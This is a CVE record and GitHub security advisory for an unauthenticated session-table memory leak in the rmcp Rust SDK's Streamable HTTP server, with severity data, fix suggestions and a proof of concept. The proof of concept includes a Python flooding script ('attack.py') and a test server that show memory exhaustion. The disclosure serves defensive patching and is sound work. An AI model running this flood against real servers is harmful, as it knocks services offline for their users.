{
  "affected": [
    {
      "affectedData": [
        {
          "product": "rust-sdk",
          "vendor": "modelcontextprotocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.0.0, the rmcp crate\u0027s stateful Streamable HTTP server in crates/rmcp/src/transport/streamable_http_server/tower.rs allows an unauthenticated client to send a well-formed JSON-RPC POST that is not an initialization request, or an initialization request with a mismatched protocol header, causing StreamableHttpService::handle_post to call LocalSessionManager.create_session before validating the message. An early validation failure returns without removing the inserted LocalSessionHandle from LocalSessionManager.sessions, permanently retaining session and channel state for the server process lifetime. Repeated requests can grow the shared session table without bound, degrade legitimate-client latency through lock contention, exhaust memory, and terminate the server. This issue is fixed in version 2.0.0."
    }
  ],
  "id": "CVE-2026-63128",
  "lastModified": "2026-09-16T16:17:14.440",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-63128",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-16T15:18:04.578514Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-16T15:17:39.960",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-401"
        },
        {
          "lang": "en",
          "value": "CWE-772"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:34Z",
    "nvd_published_at": "2026-09-16T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server\u0027s `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process\u0027s lifetime \u2014 turning a ~250-byte request into a permanent ~400\u2013550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **\u224875 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126\u20131170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (\u2605)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = \u0026mut message {\n        let ClientRequest::InitializeRequest(init_req) = \u0026req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            \u0026part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (\u2605\u2605)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(\u2605)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock\u003cHashMap\u003cSessionId, LocalSessionHandle\u003e\u003e`) and spawns a `LocalSessionWorker` task.\n2. `(\u2605\u2605)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(\u0026session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport\u003cLocalSessionWorker\u003e` goes out of scope; its `_drop_guard` cancels the worker\u0027s `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel\u0027s `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either \u2014 they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: \u003cbound-address\u003e` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained \u2014 no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 \u2014 server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: \u0026str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        \u0026self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext\u003cRoleServer\u003e,\n    ) -\u003e Result\u003cInitializeResult, ErrorData\u003e {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -\u003e anyhow::Result\u003c()\u003e {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc\u003cLocalSessionManager\u003e = Arc::new(LocalSessionManager::default());\n\n    // Reporter \u2014 prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() =\u003e break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) =\u003e {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 \u2014 attacker\n\n`attack.py` (paste verbatim \u2014 Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server\u0027s `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 \u2014 observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      \u003c-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      \u003c-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 \u2248 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process\u0027s lifetime.\n\n\u003c!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console \u2014 active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console \u2014 1000/1000 HTTP 422 in 0.46s](attacker.png)\n--\u003e\n\n\u003cimg width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" /\u003e\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model \u2014 a Streamable HTTP MCP server embedded into an IDE or local agent \u2014 any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400\u2013550 bytes per leaked entry, including the `SessionId` `Arc\u003cstr\u003e`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, \u22483.5 GB\n    - **1 day**: ~187 M entries, \u224884 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier \u2014 a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically \u2014 including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "id": "GHSA-9pj6-vhgr-3mwh",
  "modified": "2026-09-16T22:13:34Z",
  "published": "2026-09-16T22:13:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/rust-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}